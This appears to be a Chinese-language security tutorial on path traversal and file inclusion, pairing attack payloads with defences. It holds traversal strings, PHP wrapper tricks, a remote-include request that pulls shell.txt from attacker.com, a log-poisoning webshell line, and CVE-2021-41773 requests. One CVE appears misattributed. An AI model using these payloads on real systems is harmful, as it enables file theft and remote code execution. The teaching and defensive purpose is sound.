路径遍历与文件包含:目录穿越的攻击

作者:Yolo 发布时间: 2026-05-29 阅读量:2

路径遍历与文件包含:目录穿越的攻击

网络安全系列第9篇 | Web安全基础

目录

  1. 什么是路径遍历
  2. 文件包含漏洞
  3. 攻击原理与利用
  4. 真实案例
  5. 防御方案
  6. 总结

什么是路径遍历

路径遍历(Path Traversal),也叫目录穿越(Directory Traversal),是一种利用应用程序对文件路径处理不当,访问服务器上非授权目录和文件的攻击手法。

核心原理

Web应用经常需要读取本地文件,比如显示图片、加载模板、下载文档。如果应用直接使用用户输入的文件名或路径,而没有做严格的校验,攻击者就能通过特殊字符"穿越"到上级目录。

经典Payload

../../../etc/passwd
..\..\..\windows\win.ini
....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

这些Payload的共同点是利用../(或..\)逐级向上跳转,最终到达系统根目录,再访问敏感文件。

一个简单示例

假设有个图片展示接口:

# 有漏洞的代码
@app.route('/image')
def show_image():
filename = request.args.get('file')
return send_file(f'/var/www/images/{filename}')

正常请求:

GET /image?file=logo.png
→ 读取 /var/www/images/logo.png

恶意请求:

GET /image?file=../../../etc/passwd
→ 读取 /var/www/images/../../../etc/passwd = /etc/passwd

问题所在:代码只是简单拼接路径,没有限制用户输入只能访问images目录。


文件包含漏洞

文件包含(File Inclusion)分为本地文件包含(LFI)和远程文件包含(RFI)。

本地文件包含(LFI)

当应用包含本地文件时,如果文件名可控,就能包含任意本地文件。

// 有漏洞的PHP代码
$page = $_GET['page'];
include($page . '.php');

攻击:

GET /index.php?page=../../../etc/passwd%00
→ 包含 /etc/passwd(%00截断后缀.php)

关键点:某些语言(如PHP老版本)支持空字节截断,可以绕过强制后缀。

远程文件包含(RFI)

更危险的是,如果服务器允许包含远程URL,攻击者就能引入恶意代码。

// 极度危险的配置
allow_url_include = On

// 攻击
GET /index.php?page=http://attacker.com/shell.txt
→ 远程执行攻击者控制的代码

后果:直接GetShell,服务器完全沦陷。

PHP伪协议利用

PHP支持多种流包装器,即使文件名被限制,也能利用伪协议读取文件或执行代码:

php://filter/read=convert.base64-encode/resource=../../../etc/passwd
php://input — 配合POST数据执行代码
data://text/plain,<?php phpinfo(); ?>
expect://id — 执行系统命令(需安装expect扩展)


攻击原理与利用

绕过技巧

防御者会过滤../,攻击者就有各种绕过方法:

绕过方式Payload原理
URL编码%2e%2e%2f../的URL编码
双重编码%252e%252e%252f编码两次
绝对路径/etc/passwd直接指定绝对路径
空字节截断file.jpg%00.php截断后续字符
路径规范化绕过....//....//某些过滤只替换一次../
Unicode绕过%c0%af过时的IIS Unicode漏洞
内部变量/proc/self/environ包含环境变量,可能写入shellcode

日志/会话投毒

当LFI无法直接读取敏感文件时,攻击者会尝试"污染"一个可被包含的文件:

  1. 日志投毒:在User-Agent中写入PHP代码,然后包含日志文件

   GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
```
然后访问:/index.php?page=/var/log/apache2/access.log&amp;cmd=id

2. 会话投毒:如果应用使用文件存储Session,向Session写入代码再包含

3. 图片上传+LFI:上传一个包含恶意代码的图片(图片头部是正常图片数据,尾部是PHP代码),然后用LFI包含这个"图片"


## 真实案例

### CVE-2019-18371 - Apache Solr

Apache Solr的DataImportHandler存在路径遍历,攻击者可以通过file参数读取任意文件:

GET /solr/core_name/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd


### CVE-2021-41773 - Apache HTTP Server 2.4.49

Apache 2.4.49的一个路径规范化漏洞,允许攻击者读取服务器上的任意文件,甚至在CGI启用时执行命令:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
→ 200 OK,返回passwd内容

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
→ 执行shell命令


这个漏洞的成因是Apache在路径规范化时移除了%2e%2e但没有正确处理,导致路径穿越。

### 某CMS模板包含漏洞

一个常见模式是CMS的模板系统:

php
$theme = $_GET['theme'];
include("themes/$theme/header.php");


攻击:?theme=../../../etc/passwd%00


## 防御方案

### 1. 输入验证与过滤

白名单永远比黑名单可靠:

python
import os
from pathlib import Path

ALLOWED_FILES = {'logo.png', 'banner.jpg', 'avatar.gif'}

def safe_read(filename):
# 白名单校验
if filename not in ALLOWED_FILES:
raise ValueError("File not allowed")

# 或者:严格限定目录
base_dir = Path('/var/www/images').resolve()
target = (base_dir / filename).resolve()

# 确保目标路径在base_dir之内
if not str(target).startswith(str(base_dir)):
raise ValueError("Path traversal detected")

return target.read_bytes()


### 2. 使用chroot/jail

将应用限制在特定目录:

bash

Docker方式

-v /var/www/images:/app/images:ro

chroot方式(较老)

chroot /var/www/app /usr/bin/python app.py


### 3. 禁用危险功能

PHP配置:

ini
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmp


### 4. 路径规范化

在处理前对路径进行规范化,解析所有../和符号链接:

python
from pathlib import Path

def normalize_path(base, user_input):
"""安全地解析用户输入的路径"""
base = Path(base).resolve()
target = (base / user_input).resolve()

# 检查target是否在base目录下
try:
target.relative_to(base)
return target
except ValueError:
raise PermissionError("Invalid path")


### 5. WAF规则

ModSecurity示例规则:


SecRule REQUEST_URI "\.\./" \
"id:1001,phase:2,deny,status:403,msg:'Path Traversal Detected'"
```

6. 最小权限原则

  • Web服务用户(如www-data)只应有读取必要文件的权限
  • 禁止Web用户读取/etc/shadow、数据库配置文件等
  • 使用SELinux/AppArmor进一步限制

防御检查清单

  • [ ] 所有文件操作使用白名单或路径规范化
  • [ ] 禁用不必要的远程文件包含功能
  • [ ] 设置open_basedir或等效限制
  • [ ] Web服务以低权限用户运行
  • [ ] 部署WAF规则拦截路径遍历Payload
  • [ ] 定期审计代码中的include/require/open调用

总结

路径遍历和文件包含是Web应用中常见且危害巨大的漏洞。它们的本质都是信任了用户输入的文件路径,没有做好边界控制。

漏洞类型危害等级核心防御
路径遍历中-高路径规范化 + 目录限制
本地文件包含白名单 + 禁用伪协议
远程文件包含极高禁用远程包含 + 输入校验

记住:任何来自用户的文件名、路径参数,都应该被视为不可信的。做最严格的校验,给最小的权限,这是防御这类漏洞的根本。


网络安全系列文章,每周更新。下一篇:《HTTP参数污染:重复参数的解析差异》


参考:OWASP Path Traversal Cheat Sheet, PortSwigger Web Security Academy